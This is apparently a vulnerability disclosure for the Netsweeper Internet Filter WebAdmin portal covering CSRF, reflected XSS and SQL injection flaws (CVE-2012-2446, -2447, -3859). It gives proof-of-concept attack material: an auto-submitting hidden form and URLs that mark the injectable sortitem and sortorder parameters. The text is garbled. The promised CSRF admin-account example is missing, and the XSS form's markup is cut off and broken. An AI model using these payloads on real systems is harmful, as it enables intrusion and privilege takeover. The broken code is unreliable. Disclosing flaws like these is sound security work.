# Author: Jacob Holcomb/Gimppy042\

# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\

# CVE :

CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and 

CVE-2012-3859 for the SQL Injection ("The later)

NOTE:



# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.



CSRF Exploitation:



In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

XSS Exploitation:



The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

<form name="pwnd" action="http:// server.domain_name

<input type="hidden" name="policy" value="pwnd" />

<input type="hidden" name="url" value="pwnd" />



<script>

document.getElementById('pwnd').submit();

</script>



</body>





SQL Injection ("The later") Exploitation:



The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.



http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi

none &sortorder=asc&type=demand&id=1441

or



http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi

none &type=demand&id=1441.
